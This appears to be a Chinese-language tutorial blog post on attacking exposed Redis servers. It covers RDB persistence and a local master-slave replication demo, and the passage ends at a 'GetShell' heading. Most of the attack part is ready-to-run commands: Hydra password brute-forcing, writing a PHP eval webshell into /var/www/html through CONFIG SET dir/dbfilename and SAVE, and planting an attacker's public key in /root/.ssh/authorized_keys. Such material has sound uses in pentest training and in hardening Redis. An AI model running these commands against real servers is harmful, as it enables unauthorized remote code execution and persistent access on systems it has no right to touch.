Redis基础

一种开源数据库,内容以键值对的方式进行存储。

通常部署在6379端口

RDB模式

RDB(Redis Database File)是 Redis 提供的一种 持久化方式,它会在指定的时间间隔内,将 整个数据快照 保存到磁盘(.rdb 文件),以便在 Redis 重新启动时恢复数据。

SAVE 命令用于 手动触发 RDB 持久化,它会阻塞 Redis 服务器,并将当前内存中的数据保存到磁盘上的 .rdb 文件。

基于RDB模式,我们很容易利用Redis写恶意文件:

1
2
3
4
5
6
如果 Redis 允许远程访问,并且没有设置 身份验证,攻击者可以使用:

CONFIG SET dir /var/www/html
CONFIG SET dbfilename shell.php
SAVE
这会让 Redis 在 /var/www/html/shell.php 生成一个伪造的 RDB 文件,可能包含 WebShell。

Redis常用命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
set xz "Hacker"                     # 设置键xz的值为字符串Hacker
get xz # 获取键xz的内容
SET score 857 # 设置键score的值为857
INCR score # 使用INCR命令将score的值增加1
GET score # 获取键score的内容
keys * # 列出当前数据库中所有的键
config set protected-mode no # 关闭安全模式
get anotherkey # 获取一个不存在的键的值
config set dir /root/redis # 设置保存目录
config set dbfilename redis.rdb # 设置保存文件名
config get dir # 查看保存目录
config get dbfilename # 查看保存文件名
save # 进行一次备份操作
flushall # 删除所有数据
del key # 删除键为key的数据
slaveof ip port # 设置主从关系
redis-cli -h ip -p 6379 -a passwd # 外部连接

Redis经典利用方式

未授权访问

Redis默认情况下不启用身份验证,若无密码保护 ,攻击者可以直接连接Redis并任意执行命令。

连接Redis:redis-cli -h <目标IP> -p <端口号>

如果有密码保护,可以尝试使用Hydra进行爆破:
hydra -l redis -P password.txt <目标IP> redis -V

写webshell

利用条件:

  • 知道网站绝对路径信息,有可写可执行权限
  • redis服务有root权限

利用过程:

  1. 连接Redis:redis-cli -h ip

  2. 设置Redis的运行目录(在已知路径下):Redis config set dir /xxx

  3. 将webshell写入进xiaofuc键:set xiaofuc “\n\n\n<?php eval($_POST[1]) ;?>\n\n\n”

    这里加换行符是防止可能的脏数据干扰webshell运行。

  4. 更改Redis保存数据库的文件名为xxx.php:config set dbfilename evil.php

  5. save

恶意登录SSh

1、Redis服务使用ROOT账号启动

2、服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器。

首先在攻击机上输入命令:ssh-keygen -t rsa

直接默认回车,公钥被放在/root/.ssh中(id_rsa.pub)

1
2
3
4
5
6
7
8
9
10
11
redis config get dir #检查当前保存路径

config get dbfilename #检查保存文件名

config set dir /root/.ssh/ #设置保存路径

config set dbfilename authorized_keys #设置保存文件名

set xz “\n\n\n 公钥 \n\n\n” #将公钥写入xz健

save #进行保存

主从复制

主从复制原理与复现

在kali虚拟机新建一个文件夹,打开终端用wget下载Redis源码:

1
wget http://download.redis.io/releases/redis-4.0.11.tar.gz

用tar -zxvf解压后,cp复制成两份。

这里我踩了一个坑,在网上搜启动redis服务的时候,要./src/redis-server redis.conf来启动

然而我在src文件夹下找不到redis-server..

后来才发现要进入redis文件夹下用make命令进行编译才能用,下载下来的只是源码还不能直接运行。

在其中一份的redis文件中,设置redis.conf的port为6380,因为主redis开起来默认port就是6379,防止冲突。

接着分别启动6379与6380端口的redis服务。

我们可以通过redis-cli -h ip -p port来连接redis服务。

我们先登上6380服务:

image.png

SLAVEOF 是 Redis 中的一个命令,用于设置或取消 Redis 实例的主从复制关系。

主要功能

  • 将当前 Redis 实例设置为另一个 Redis 实例的从库(Slave)。
  • 取消主从关系,使当前实例成为独立的服务器。
1
SLAVE ip port

image.png

这下6380端口的redis服务成为了6379端口服务的从机,6379为主机。

切换到主机,使用set命令写入键值对:

img

在从机上就能访问到该键值对了:

img

以上是主从复制的基本演示。

GetShell方式